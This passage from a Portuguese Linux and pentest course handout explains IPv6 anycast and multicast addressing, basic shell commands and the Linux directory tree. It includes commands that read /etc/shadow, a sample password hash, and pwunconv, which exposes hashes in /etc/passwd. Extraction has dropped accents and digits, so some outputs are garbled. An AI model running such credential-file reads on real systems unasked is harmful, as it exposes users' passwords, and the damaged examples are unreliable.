nem usado como endereo de origem em pacotes IPv6 enviados para outros ns. Alm disso, um pacote IPv6 com um endereo loopback como destino no pode ser enviado por um roteador IPv6, e caso um pacote recebido em uma interface possua um endereo loopback como destino, este deve ser descartado; Endereos IPv4-mapeado: representado por 0:0:0:0:0:FFFF:wxyz ou ::FFFF:wxyz, usado para mapear um endereo IPv4 em um endereo IPv6 de 128-bit, onde wxyz representa os 32 bits do endereo IPv4, utilizando dgitos decimais. aplicado em tcnicas de transio para que ns IPv6 e IPv4 se comuniquem. Ex. ::FFFF:192.168.100.1. Algumas faixas de endereos tambm so reservadas para uso especcos: 2002::/16: prexo utilizado no mecanismo de transio 6to4; 2001:0000::/32: prexo utilizado no mecanismo de transio TEREDO; 2001:db8::/32: prexo utilizado para representar endereos IPv6 em textos e documentaes. Outros endereos, utilizados no incio do desenvolvimento do IPv6 tornaram-se obsoletos e no devem mais ser utilizados: FEC0::/10: prexo utilizado pelos endereos do tipo site local, desenvolvidos para serem utilizados dentro de uma rede especca sem a necessidade de um prexo global, equivalente aos endereos privados do IPv4. Sua utilizao foi substituda pelos endereos ULA; ::wxyz: utilizado para representar o endereo IPv4-compatvel. Sua funo a mesma do endereo IPv4-mapeado, tornando-se obsoleto por desuso; 3FFE::/16: prexo utilizado para representar os endereos da rede de teste 6Bone. Criada para ajudar na implantao do IPv6, est rede foi desativada em 6 de junho de 2006 (06/06/06).

1.5.1.2.2 Endereos Anycast Um endereo IPv6 anycast utilizado para identicar um grupo de interfaces, porm, com a propriedade de que um pacote enviado a um endereo anycast encaminhado apenas a interface do grupo mais prxima da origem do pacote. Os endereos anycast so atribudos a partir da faixa de endereos unicast e no h diferenas sintticas entre eles. Portanto, um endereo unicast atribudo a mais

PenTest - Segurana Hacker

Pgina 26

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

de uma interface transforma-se em um endereo anycast, devendo-se neste caso, congurar explicitamente os ns para que saibam que lhes foi atribudo um endereo anycast. Alm disso, este endereo deve ser congurado nos roteadores como uma entrada separada (prexo /128 host route). Este esquema de endereamento pode ser utilizado para descobrir servios na rede, como servidores DNS e proxies HTTP, garantindo a redundncia desses servios. Tambm pode-se utilizar para fazer balanceamento de carga em situaes onde mltiplos hosts ou roteadores provem o mesmo servio, para localizar roteadores que forneam acesso a uma determinada sub-rede ou para localizar os Agentes de Origem em redes com suporte a mobilidade IPv6. Todos os roteadores devem ter suporte ao endereo anycast Subnet-Router. Este tipo de endereo formado pelo prexo da sub-rede e pelo IID preenchido com zeros (ex.: 2001:db8:cafe:dad0::/64). Um pacote enviado para o endereo Subnet-Router ser entregue para o roteador mais prximo da origem dentro da mesma sub-rede. Tambm foi denido um endereo anycast para ser utilizado no suporte a mobilidade IPv6. Este tipo de endereo formado pelo prexo da sub-rede seguido pelo IID dfff:ffff:ffff:fffe (ex.: 2001:db8::dfff:ffff:ffff:fffe). Ele utilizado pelo N Mvel, quando este precisar localizar um Agente Origem em sua Rede Original.

1.5.1.2.3 Endereos Multicast Endereos multicast so utilizados para identicar grupos de interfaces, sendo que cada interface pode pertencer a mais de um grupo. Os pacotes enviados para esses endereo so entregues a todos as interfaces que compe o grupo. No IPv4, o suporte a multicast opcional, j que foi introduzido apenas como uma extenso ao protocolo. Entretanto, no IPv6 requerido que todos os ns suportem multicast, visto que muitas funcionalidades da nova verso do protocolo IP utilizam esse tipo de endereo. Seu funcionamento similar ao do broadcast, dado que um nico pacote enviado a vrios hosts, diferenciando-se apenas pelo fato de que no broadcast o pacote enviado a todos os hosts da rede, sem exceo, enquanto que no multicast apenas um grupo de hosts receber esse pacote. Deste modo, a possibilidade de transportar apenas uma cpia dos dados a todos os elementos do grupo, a partir de uma rvore de distribuio, pode reduzir a utilizao de recurso de uma rede, bem como otimizar a entrega de dados aos hosts receptores. Aplicaes como videoconferncia, distribuio de vdeo sob demanda, atualizaes de softwares e jogos on-line, so exemplos de servios que vm ganhando notoriedade e podem utilizar as vantagens apresentadas pelo multicast. Os endereos multicast

PenTest - Segurana Hacker

Pgina 27

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

no devem ser utilizados como endereo de origem de um pacote. Esses endereos derivam do bloco FF00::/8, onde o prexo FF, que identica um endereo multicast, precedido por quatro bits, que representam quatro ags, e um valor de quatro bits que dene o escopo do grupo multicast. Os 112 bits restantes so utilizados para identicar o grupo multicast. As ags so denidas da seguinte forma: O primeiro bit mais a esquerda reservado e deve ser marcado com 0; Flag R: Se o valor for 1, indica que o endereo multicast carrega o endereo de um Ponto de Encontro (Rendezvous Point). Se o valor for 0, indica que no h um endereo de Ponto de Encontro embutido; Flag P: Se o valor for 1, indica que o endereo multicast baseado em um prexo de rede. Se o valor for 0, indica que o endereo no baseado em um prexo de rede; Flag T: Se o valor for 0, indica que o endereo multicast permanente, ou seja, atribudo pela IANA. Se o valor for 1, indica que o endereo multicast no permanente, ou seja, atribudo dinamicamente. Os quatro bits que representam o escopo do endereo multicast, so utilizados para delimitar a rea de abrangncia de um grupo multicast. Os valores atribudos a esse campo so o seguinte: 1 abrange apenas a interface local; 2 abrange os ns de um enlace; 3 abrange os ns de uma sub-rede 4 abrange a menor rea que pode ser congurada manualmente; 5 abrange os ns de um site; 8 abrange vrios sites de uma mesma organizao; E abrange toda a Internet; 0, F reservados; 6, 7, 9, A, B, C, D no esto alocados.

PenTest - Segurana Hacker

Pgina 28

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Deste modo, um roteador ligado ao backbone da Internet no encaminhar pacotes com escopo menor do que 14 (E em hexa), por exemplo. No IPv4, o escopo de um grupo multicast especicado atravs do campo TTL do cabealho. A lista abaixo apresenta alguns endereos multicast permanentes:

O endereo multicast solicited-node identica um grupo multicast que todos os ns passam a fazer parte assim que um endereo unicast ou anycast lhes atribudo. Um endereo solicited-node formado agregando-se ao prexo FF02::1:FF00:0000/104 os 24 bits mais a direita do identicador da interface, e para cada endereo unicast ou anycast do n, existe um endereo multicast solicited- node correspondente. Em redes IPv6, o endereo solicited-node utilizado pelo protocolo de Descoberta de Vizinhana para resolver o endereo MAC de uma interface. Para isso, envia-se uma mensagem Neighbor Solicitation para o endereo solicited-node. Com isso, apenas as interfaces registradas neste grupo examinam o pacote. Em uma rede IPv4, para se determinar o endereo MAC de uma interface, envia- se uma mensagem ARP Request para o endereo broadcast da camada de enlace, de modo que todas as interfaces do enlace examinam a mensagem. Com o intuito de reduzir o nmero de protocolos necessrios para a alocao de endereos multicast, foi denido um formato estendido de endereo multicast, que

PenTest - Segurana Hacker

Pgina 29

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

permite a alocao de endereos baseados em prexos unicast e de endereos SSM (source-specic multicast). Em endereos baseados no prexo da rede, a ag P marcada com o valor 1. Neste caso, o uso do campo escopo no altera, porm, o escopo deste endereo multicast no deve exceder o escopo do prexo unicast carregado junto a ele. Os 8 bits aps o campo escopo, so reservados e devem ser marcados com zeros. Na sequncia, h 8 bits que especicam o tamanho do prexo da rede indicado nos 64 bits que os seguem. Caso o prexo da rede seja menor que 64 bits, os bits no utilizados no campo tamanho do prexo, devem ser marcados com zeros. O campo identicador do grupo utiliza os 32 bits restantes. Note que, em um endereo onde a ag P marcada com o valor 1, a ag T tambm deve ser marcada com o valor 1, pois este no representa um endereo denido pela IANA. No modelo tradicional de multicast, chamado de any-source multicast (ASN), o participante de um grupo multicast no controla de que fonte deseja receber os dados. Com o SSM, uma interface pode registrar-se em um grupo multicast e especicar as fontes de dados. O SSM pode ser implementado utilizando o protocolo MLDv2 (Multicast Listener Discovery version 2). Para um endereo SSM, as ags P e T so marcadas com o valor 1. Os campos tamanho do prexo e o prexo da rede so marcados com zeros, chegando ao prexo FF3X::/32, onde X o valor do escopo. O campo Endereo de Origem do cabealho IPv6 identica o dono do endereo multicast. Todo endereo SSM tem o formato FF3X::/96. Os mtodos de gerenciamento dos grupos multicast sero abordados no prximo mdulo deste curso. Tambm importante destacar algumas caractersticas relacionadas ao endereo apresentadas pela nova arquitetura do protocolo IPv6. Assim como no IPv4, os endereos IPv6 so atribudos s interfaces fsicas, e no aos ns, de modo que cada interface precisa de pelo menos um endereo unicast. No entanto, possvel atribuir a uma nica interface mltiplos endereos IPv6, independentemente do tipo (unicast, multicast ou anycast) ou sub-tipo (loopback, link local, 6to4, etc.). Deste modo um n pode ser identicado atravs de qualquer endereo das suas interfaces, e com isso, torna-se necessrio escolher entre seus mltiplos endereos qual utilizar como endereo de origem e destino ao estabelecer uma conexo. Para resolver esta questo, foram denidos dois algoritmos, um para selecionar o endereo de origem e outro para o de destino. Esses algoritmos, que devem ser implementados por todos os ns IPv6, especicam o comportamento padro desse ns, porm no substituem as escolhas feitas por aplicativos ou protocolos da ca-

PenTest - Segurana Hacker

Pgina 30

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

mada superior. Entre as regras mais importantes destacam-se: Pares de endereos do mesmo escopo ou tipo tm preferncia; O menor escopo para endereo de destino tem preferncia (utiliza-se o menor escopo possvel); Endereos cujo tempo de vida no expirou tem preferncia sobre endereos com tempo de vida expirado; Endereos de tcnicas de transio (ISATAP, 6to4, etc.) no podem ser utilizados se um endereo IPv6 nativo estiver disponvel; Se todos os critrios forem similares, pares de endereos com o maior prexo comum tero preferncia; Para endereos de origem, endereos globais tero preferncia sobre endereos temporrios; Em um N Mvel, o Endereo de Origem tem preferncia sobre um Endereo Remoto. Estas regras devem ser utilizadas quando no houver nenhuma outra especicao. As especicaes tambm permitem a congurao de polticas que possam substituir esses padres de preferncias com combinaes entre endereos de origem e destino.

PenTest - Segurana Hacker

Pgina 31

2 Aprendendo GNU/Linux
2.1 Comandos e Shell
Comandos so instrues passadas ao computador para executar uma determinada tarefa. No mundo *NIX (GNU/Linux,Unix), o conceito de comandos diferente do padro MS-DOS. Um comando qualquer arquivo executvel, que pode ser ou no criado pelo usurio. Uma das tantas vantagens do GNU/Linux a variedade de comandos que ele oferece, anal, para quem conhece comandos, a administrao do sistema acaba se tornando um processo mais rpido. O Shell o responsvel pela interao entre o usurio e o sistema operacional, interpretando os comandos. no Shell que os comandos so executados.

2.1.1 O comando ls
O comando ls possui muitos parmetros, veremos aqui as opes mais utilizadas. A primeira delas o -l que lista os arquivos ou diretrios de uma forma bem detalhada (quem criou, data de criao, tamanho, dono e grupo ao qual cada um pertence):

1 2

# ls -l / drwxr -xr - x 4 root root 1 24 2

7 - 1 -15 23:17 boot

Veja que a sada desse comando bem detalhada. Falando sobre os campos, para o primeiro caractere temos algumas opes:

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

1 2 3 4 5 6 7 8

d => indica que se trata de um diret rio l => indica que se trata de um " link " ( como se fosse um atalho tamb m vamos falar sobre ele depois ) - => h fen , indica que se trata de um arquivo regular c => indica que o arquivo um dispositivo de caractere ( sem buffer ) b => indica que o arquivo um dispositivo de bloco ( com buffer ) u => " sin nimo para o tipo c " indica que o arquivo um dispositivo de caractere ( sem buffer ) s => indica que o arquivo um socket p => indica que o arquivo um fifo , named pipe

FIFO - Sigla para First In, First Out, que em ingls signica primeiro a entrar, primeiro a sair. So amplamente utilizados para implementar las de espera. Os elementos vo sendo colocados no nal da la e retirados por ordem de chegada. Pipes (|) so um exemplo de implementao de FIFO. Buffer - uma regio de memria temporria, usada para escrita e leitura de dados. Normalmente, os buffers so utilizados quando existe uma diferena entre a taxa em que os dados so recebidos e a taxa em que eles podem ser processados. Socket - um meio de comunicao por software entre um computador e outro. uma combinao de um endereo IP, um protocolo e um nmero de porta do protocolo. O campo rwxr-xr-x lista as permisses, enquanto os campos root indicam quem o usurio e grupo dono desse diretrio que, no nosso caso, o administrador do sistema, o usurio root. O nmero antes do dono indica o nmero de hard links, um assunto abordado apenas em cursos mais avanados. O campo 1024 indica o tamanho do arquivo, e o campo 2007-01-15 23:17 informa a data e hora em que o diretrio foi criado. Finalmente, no ltimo campo temos o nome do arquivo ou diretrio listado, que, no nosso exemplo, o boot. Com relao aos diretrios, importante ressaltar que o tamanho mostrado no corresponde ao espao ocupado pelo diretrio e seus arquivos e subdiretrios. Esse espao aquele ocupado pela entrada no sistema de arquivos que corresponde ao diretrio. A opo -a lista todos arquivos, inclusive os ocultos:

1 2 3

# ls -a / root .. aptitude . bashrc . profile . rnd . ssh . vmware

PenTest - Segurana Hacker

Pgina 33

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

.. . bash_history . kde . qt root_1612 6 . viminfo . Xauthority

Veja que, da sada do comando anterior, alguns arquivos so iniciados por . (ponto). Esses arquivos so ocultos. No Linux, arquivos e diretrios ocultos so iniciados por um . (ponto). Listar arquivos de forma recursiva, ou seja, listar tambm os subdiretrios que esto dentro do diretrio /:

# ls -R /

Como listar os arquivos que terminam com a palavra .conf dentro do diretrio /etc?

# ls / etc /*. conf

Como buscar no diretrio raiz / todos os diretrios que terminem com a letra n?

# ls -ld /* n

2.1.2 Criao, movimentao, cpia e remoo de arquivos e diretrios


2.1.2.1 Criar arquivo Para criar um arquivo, podemos simplesmente abrir um editor de texto e salv-lo. Mas existem outras formas. Uma das formas mais simples usando o comando touch:

1 2 3

# cd ~ # touch arq1 # touch arq2 arq3 arq4 arq5

PenTest - Segurana Hacker

Pgina 34

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

2.1.2.2 Curingas O signicado da palavra curinga no dicionrio o seguinte: carta de baralho, que em certos jogos, muda de valor e colocao na sequncia. No sistema GNU/Linux bem parecida a utilizao desse recurso. Os curingas so utilizados para especicar um ou mais arquivos ou diretrios. Eles podem substituir uma palavra completa ou somente uma letra, seja para listar, copiar, apagar, etc. So usados cinco tipos de curingas no GNU/Linux:

1 2 3 4 5 6 7 8 9 10 11

* - Utilizado para um nome completo ou restante de um arquivo / diret rio ; ? - Esse curinga pode substituir uma ou mais letras em determinada posi o ; ! - exclui da opera o [ padr o] - utilizado para refer ncia a uma faixa de caracteres de um arquivo / diret rio . [a -z ][ -9] - Usado para trabalhar com caracteres de a at z seguidos de um caractere de at 9. [a ,z ][1 , ] - Usado para trabalhar com os caracteres a e z seguidos de um caractere 1 ou naquela posi o . [a -z ,1 , ] - Faz refer ncia do intervalo de caracteres de a at z ou 1 ou naquela posi o . [^ abc ] - Faz refer ncia a qualquer caracter exceto a , b e c . { padr o} - Expande e gera strings para pesquisa de padr es de um arquivo / diret rio . X{ab , 1} - Faz refer ncia a sequ ncia de caracteres Xab ou X 1 . X{a -e ,1 } - Faz refer ncia a sequ ncia de caracteres Xa Xb Xc Xd Xe X1

DICA: - A barra invertida serve para escapar um caracter especial, ela conhecida tambm como backslash.

A diferena do mtodo de expanso dos demais, que a existncia do arquivo ou diretrio opcional para resultado nal. Isto til para a criao de diretrios. Os 5 tipos de curingas mais utilizados ( *, ?, [ ], , ! ) podem ser usados juntos. Vejamos alguns exemplos: Vamos criar 5 arquivos no diretrio /home/aluno utilizando o mtodo de expanso.

PenTest - Segurana Hacker

Pgina 35

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

1 2

# cd ~ # touch arq {1 ,2 ,3}. txt arq {4 ,5}. new

Podemos list-los assim:

1 2

# ls arq1 arq1 . txt arq2 arq2 . txt arq3 arq3 . txt arq4 arq4 . new arq5 arq5 . new

Vamos listar todos os arquivos do diretrio /home/usurio. Podemos usar o curinga * para visualizar todos os arquivos do diretrio:

1 2

# ls * arq1 arq1 . txt arq2 arq2 . txt arq3 arq3 . txt arq4 arq4 . new arq5 arq5 . new

Para listarmos todos os arquivos do diretrio /home/usurio que tenham new no nome:

1 2

# ls * new * arq4 . new arq5 . new

Listar todos os arquivos que comeam com qualquer nome e terminam com .txt:

1 2

# ls *. txt arq1 . txt arq2 . txt arq3 . txt

Listar todos os arquivos que comeam com o nome arq, tenham qualquer caractere no lugar do curinga, e terminem com .txt:

1 2

# ls arq ?. txt arq1 . txt arq2 . txt arq3 . txt

PenTest - Segurana Hacker

Pgina 36

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Para listar todos os arquivos que comeam com o nome arq, tenham qualquer caractere entre o nmero 1-3 no lugar da 4 letra e terminem com .txt. Neste caso, se obtm uma ltragem mais exata, pois o curinga especica qualquer caractere naquela posio e [ ] especica um intervalo de nmeros ou letras que ser usado:

1 2

# ls arq [1 -3]. txt arq1 . txt arq2 . txt arq3 . txt

Para listar todos .txt exceto o arq2.txt:

1 2

# ls arq [!2]. txt arq1 . txt arq3 . tx

Para listar os arquivos arq4.new e arq5.new podemos usar os seguintes mtodos:

1 2 3 4 5

# # # # #

ls ls ls ls ls

*. new * new * arq ?. new arq [4 ,5].* arq [4 ,5]. new

Existem muitas outras sintaxes possveis para obter o mesmo resultado. A mais indicada ser sempre aquela que atender necessidade com o menor esforo possvel. A criatividade nesse momento conta muito. No exemplo anterior, a ltima forma resulta na busca mais especca. O que pretendemos mostrar como visualizar mais de um arquivo de uma s vez. O uso de curingas muito til e pode ser utilizado em todas as aes do sistema operacional referentes aos arquivos e diretrios: copiar , apagar, mover e renomear.

2.1.2.3 Criando diretrios O comando mkdir utilizado para criar um diretrio no sistema. Um diretrio uma pasta onde voc guarda seus arquivos. Exemplo: Criar o diretrio aula:

PenTest - Segurana Hacker

Pgina 37

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

# mkdir aula

Criar o diretrio turma e o subdiretrio alunos:

# mkdir -p turma / alunos

A opo -p permite a criao de diretrios de forma recursiva. Para que um subdiretrio exista, o seu diretrio diretamente superior tem que existir. Portanto a criao de uma estrutura como /home/notas/2010/abril/semana3 exigiria a execuo de quatro comandos mkdir. Algo como:

1 2 3 4

# # # #

mkdir mkdir mkdir mkdir

notas notas / abril notas / abril / bimestre notas / abril / bimestre / prova

A opo -p permite que toda essa estrutura seja criada em uma nica linha. Assim:

# mkdir -p notas / maio / bimestre / prova

2.1.2.4 Removendo arquivos/diretrios O comando rm utilizado para apagar arquivos, diretrios e subdiretrios estejam eles vazios ou no. Exemplos: Remover os arquivos com extenso txt:

1 2

# cd ~ # ls

PenTest - Segurana Hacker

Pgina 38

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

3 4

# rm arq ?. txt # ls

Remover o arquivo arq4.new pedindo conrmao:

1 2

# rm -i arq4 . new rm : remover arquivo comum vazio arq . new4 ?

A opo -i fora a conrmao para remover o arquivo arq4.new. Remover o diretrio notas:

# rm -r notas

A opo -r ou -R indica recursividade, ou seja, a remoo dever ser do diretrio notas e de todo o seu contedo.

Observao: Muita ateno ao usar o comando rm! Uma vez que os arquivos e diretrios removidos no podem mais ser recuperados!

O comando rmdir utilizado para remover diretrios vazios. Exemplos: Remover o diretrio aula:

# rmdir aula

2.1.2.5 Copiar arquivos/diretrios O comando cp serve para fazer cpias de arquivos e diretrios. Perceba que para lidar com diretrios a opo -r ou -R tem que ser usada:

PenTest - Segurana Hacker

Pgina 39

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

1 2 3 4 5 6 7

# cp arquivo - origem arquivo - destino # cp arquivo - origem caminho / diret rio - destino / # cp -R diret rio - origem nome - destino # cp -R diret rio - origem caminho / diret rio - destino /

Uma opo do comando cp muito til em nosso dia-a-dia a opo -p, que faz com que a cpia mantenha os meta-dados dos arquivos, ou seja, no modica a data e hora de criao, seus donos e nem suas permisses. Utilizar como root:

1 2 3 4 5 6 7

# $ $ $ # # #

su aluno touch teste ls -l exit cp -p teste teste2 cp teste teste3 ls -l teste2 teste3

2.1.2.6 Mover ou renomear arquivos/diretrios O comando mv serve tanto para renomear um arquivo quanto para mov-lo:

1 2 3 4

# mv arquivo caminho / diret rio - destino / # mv arquivo novo - nome # mv diret rio novo - nome # mv diret rio caminho / diret rio - destino /

A movimentao de um arquivo uma ao de cpia seguida de uma remoo. Movendo arquivo:

# mv teste4 / tmp

Renomeando arquivo:

PenTest - Segurana Hacker

Pgina 40

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

# mv teste teste4

Renomeando diretrio:

# mv turma matematica

Movendo diretrio:

# mv matematica / home / notas /2 1 / abril / semana3

2.2 FHS, Hierarquia dos Diretrios


Quem j teve algum contato com o GNU/Linux, mesmo que supercial, deve ter percebido a presena de vrios diretrios (pastas) no sistema. Entretanto, eles esto organizados seguindo o padro POSIX, com o qual voc pode no estar muito familiarizado. Neste captulo, vamos conhecer a organizao, e explorar a estrutura de diretrios de um sistema GNU/Linux. Desde que o GNU/Linux foi criado, muito se tem feito para seguir um padro em relao estrutura de diretrios. O primeiro esforo para padronizao de sistemas de arquivos para o GNU/Linux foi o FSSTND - Filesystem Standard, lanado no ano de 1994. Cada diretrio do sistema tem seus respectivos arquivos que so armazenados conforme regras denidas pela FHS - Filesystem Hierarchy Standard ou Hierarquia Padro do Sistema de Arquivos, que dene que tipo de arquivo deve ser guardado em cada diretrio. Isso muito importante, pois o padro ajuda a manter compatibilidade entre as distribuies existentes no mercado, permitindo que qualquer software escrito para o GNU/Linux seja executado em qualquer distribuio desenvolvida de acordo com os padres FHS. Atualmente, o FHS est na sua verso 2.3, e mantido pelo Free Standard Group", uma organizao sem ns lucrativos formada por grandes empresas como HP, IBM, RedHat e Dell.

PenTest - Segurana Hacker

Pgina 41

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

2.3 Estrutura de Diretrios GNU/Linux


A estrutura de diretrios tambm conhecida como rvore de Diretrios porque tem a forma de uma rvore. Mas, antes de estudarmos a estrutura de diretrios, temos que entender o que so diretrios. Um diretrio o local onde os arquivos so guardados no sistema. O objetivo organizar os diferentes arquivos e programas. Pense nos diretrios como sendo as gavetas de um armrio. Cada gaveta guarda, normalmente, um tipo diferente de roupa, enquanto cada diretrio guarda um certo tipo especco de arquivo. O arquivo pode ser um texto, uma imagem, planilha, etc. Os arquivos devem ser identicados por nomes para que sejam localizados por quem deseja utiliz-los. Um detalhe importante a ser observado que o GNU/Linux segue o padro POSIX que case sensitive, isto , ele diferencia letras maisculas e minsculas nos arquivos e diretrios. Sendo assim, um arquivo chamado Arquivo diferente de um outro chamado ARQUIVO e diferente de um terceiro, chamado arquivo. Inteligente isso, no ? A rvore de diretrios do GNU/Linux tem a seguinte estrutura:

Da estrutura mostrada acima, o FHS determina que um sistema GNU/Linux deve conter obrigatoriamente 14 diretrios, especicados a seguir:

2.3.1 Diretrio /

# ls -- color /

A opo color do comando ls serve para deixar colorido a listagem, ex: azul -> diretrio branco -> arquivo regular verde -> arquivo executvel azul claro -> link simblico

PenTest - Segurana Hacker

Pgina 42

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

vermelho -> arquivo compactado rosa -> imagem Este o principal diretrio do GNU/Linux, e representado por uma / (barra). no diretrio raiz que cam todos os demais diretrios do sistema. Estes diretrios, que vamos conhecer agora, so chamados de subdiretrios pois esto dentro do diretrio /.

2.3.2 DIRETRIO /bin

# ls / bin

O diretrio /bin guarda os comandos essenciais para o funcionamento do sistema. Esse um diretrio pblico, sendo assim, os comandos que esto nele podem ser utilizados por qualquer usurio do sistema. Entre os comandos, esto: /bin/ls; /bin/cp; /bin/mkdir; /bin/cat; Qualquer usurio pode executar estes comandos:

1 2

# / bin / ls / boot / grub $ / bin / ls / boot / grub

2.3.3 Diretrio /boot

# ls / boot

PenTest - Segurana Hacker

Pgina 43

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

No diretrio /boot esto os arquivos estticos necessrios inicializao do sistema, e o gerenciador de boot. O gerenciador de boot um programa que permite escolher e carregar o sistema operacional que ser iniciado.

2.3.4 Diretrio /dev

# ls / dev

No diretrio /dev cam todos os arquivos de dispositivos. O GNU/Linux faz a comunicao com os perifricos por meio de links especiais que cam armazenados nesse diretrio, facilitando assim o acesso aos mesmos. Para vericar que seu mouse reconhecido como um arquivo, tente olhar o contedo do arquivo /dev/input/mice:

# cat / dev / input / mice

Repare que os dados so binrios e no possvel ler o arquivo com o comando cat. Caso seu terminal que com caracteres estranhos utilize o comando reset para resetar o shell:

# reset

Para visualizar o contedo do arquivo /dev/input/mice execute o comando od que utilizado para visualizar o contedo de um arquivo nos formatos: hexadecimal, octal, ASCII e nome dos caracteres. Este comando pode ser til para um programador que deseja criar um programa conforme o movimento do mouse.

# od / dev / input / mice

Caso seu mouse no seja usb, execute:

# od / dev / psaux

PenTest - Segurana Hacker

Pgina 44

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Mova o mouse e observe sua sada. Observe o contedo do seu HD:

# hexdump / dev / sda

O comando hexdump utilizado para visualizar o contedo de um arquivo nos formatos: hexadecimal, octal, decimal, ASCII. Este comando pode ser til para um programador que deseja criar um programa conforme o movimento do mouse.

2.3.5 Diretrio /etc

# ls / etc

No diretrio /etc esto os arquivos de congurao do sistema. Nesse diretrio vamos encontrar vrios arquivos de congurao, tais como: scripts de inicializao do sistema, tabela do sistema de arquivos, congurao padro para logins dos usurios, etc.

# cat / etc / passwd

Vamos pegar uma linha de exemplo:

aluno :x :1

:1

: aluno :/ home / aluno :/ bin / bash

Vamos dividir esta linha em campos, onde cada campo separado por : (dois pontos), ento:

PenTest - Segurana Hacker

Pgina 45

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Vamos conhecer o arquivo /etc/shadow:

# more / etc / shadow

O comando more assim como o cat serve para ver o contedo de um arquivo que , geralmente, texto. A diferena entre o more e o cat que o more faz uma pausa a cada tela cheia exibindo uma mensagem --More", dando uma oportunidade ao usurio ler a tela. Aperte enter para ir para a prxima linha ou espao para ir para a prxima pgina e para sair digite q. Uma alternativa ao uso do comando more seria o uso do comando less, que implementa as mesmas funcionalidades que more e mais algumas, como a possibilidade de rolar a tela para cima e para o lado quando o texto ocupa mais de oitenta colunas. A utilizao dos comandos less e more se faz de maneira semelhante.

# less / etc / shadow

Vamos pegar uma linha de exemplo:

aluno : $1$Tcnt$Eisi J9Wh3fCEsz1 :11983: :99999:7:::

Este arquivo possui as senhas criptografadas dos usurios do sistema. Existe uma entada no arquivo para cada usurio do sistema com os seguintes campos:

PenTest - Segurana Hacker

Pgina 46

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Apenas o usurio root (administrador do sistema) tem permisso para acessar o arquivo /etc/shadow. O comando pwconv usado para criar o arquivo shadow a partir do arquivo /etc/passwd , enquanto o comando pwunconv executa a operao inversa. Execute:

pwunconv

Verique que no existe mais o arquivo /etc/shadow:

# cat / etc / shadow

Verique que as senhas criptografadas esto agora no arquivo /etc/passwd atravs do comando getent:

# getent passwd

O comando getent obtm dados da base base administrativa do sistema, seguindo a ordem de busca que est no arquivo /etc/nsswitch.conf:

PenTest - Segurana Hacker

Pgina 47

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

1 2 3 4 5

Example configuration of GNU Name Service Switch functionality . If you have the glibc - doc - reference and info packages installed , try : 6 # info libc " Name Service Switch " for information about this file .
7 8 9 10 11 12 13 14 15 16 17 18 19 20

# # # # #

cat / etc / nsswitch . conf / etc / nsswitch . conf

passwd : group : shadow : hosts : networks : protocols : services : ethers : rpc : netgroup :

compat compat compat files mdns4_minimal [ NOTFOUND = return ] dns mdns4 files db db db db nis files files files files

Observe a linha do passwd, o compat signica compatibilidade com o sistema, ou seja, o arquivo /etc/passwd, mas os usurios e as senhas poderiam estar armazenados em uma outra localidade, por exemplo em um servidor LDAP e se voc apenas executasse um cat /etc/passwd, no veria todos os usurios do sistema, ento sempre utilize o getent passwd porque no importa onde os dados esto armazenados ele sempre seguir a ordem de busca do arquivo /etc/nsswitch.conf. Para voltar as senhas criptografadas, execute:

# pwconv

Agora as senhas esto protegidas novamente!! Antigamente estes comandos eram utilizados para sistemas que no vinham com as senhas protegidas no /etc/shadow por padro, hoje em dia praticamente todas as distribuies trazem o arquivo como padro, ento utilizamos o comando para execuo de scripts para facilitar a captura de senhas, como por exemplo a migrao de um servidor de e-mail, onde queremos manter a senha antiga do usurio.

PenTest - Segurana Hacker

Pgina 48

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

2.3.6 Diretrio /lib

# ls / lib

No diretrio /lib esto as bibliotecas compartilhadas e mdulos do kernel. As bibliotecas so funes que podem ser utilizadas por vrios programas. Cada kernel tm seus prprios mdulos, que cam em: /lib/modules/<verso do kernel>/kernel Separados por tipos em subdiretrios. Para saber sua verso do kernel execute:
1

# uname -r

Para visualizar os tipos de mdulos:


1

# ls / lib / modules / $ ( uname -r ) / kernel

2.3.7 Diretrio /media

# ls / media

Ponto de montagem para dispositivos removveis, tais como: hd cd dvd disquete pendrive cmera digital

PenTest - Segurana Hacker

Pgina 49

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

2.3.8 Diretrio /mnt

# ls / mnt

Este diretrio utilizado para montagem temporria de sistemas de arquivos, tais como compartilhamentos de arquivos entre Windows e GNU/Linux, GNU/Linux e GNU/Linux, etc.

2.3.9 Diretrio /opt

# ls / opt

Normalmente, utilizado por programas proprietrios ou que no fazem parte ocialmente da distribuio.

2.3.10 Diretrio /sbin

# ls / sbin

O diretrio /sbin guarda os comandos utilizados para inicializar, reparar, restaurar e/ou recuperar o sistema. Isso quer dizer que esse diretrio tambm contm comandos essenciais, mas os mesmos so utilizados apenas pelo usurio administrador root. Entre os comandos esto: halt ifcong init iptables

PenTest - Segurana Hacker

Pgina 50

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Os usurios comuns no podem executar comandos do /sbin que alterem o sistema, apenas alguns para visualizao. EX: Visualizar IP congurado na placa eth0: # /sbin/ifcong eth0 Alterar IP da placa de rede: # /sbin/ifcong eth0 192.168.200.100 Obs.: necessrio passar o caminho completo do comando, pois o diretrio /sbin no consta na lista de diretrios de comandos do usurio comum que denida na varivel PATH, iremos estudar esta varivel durante o curso.

2.3.11 Diretrio srv

# ls / srv

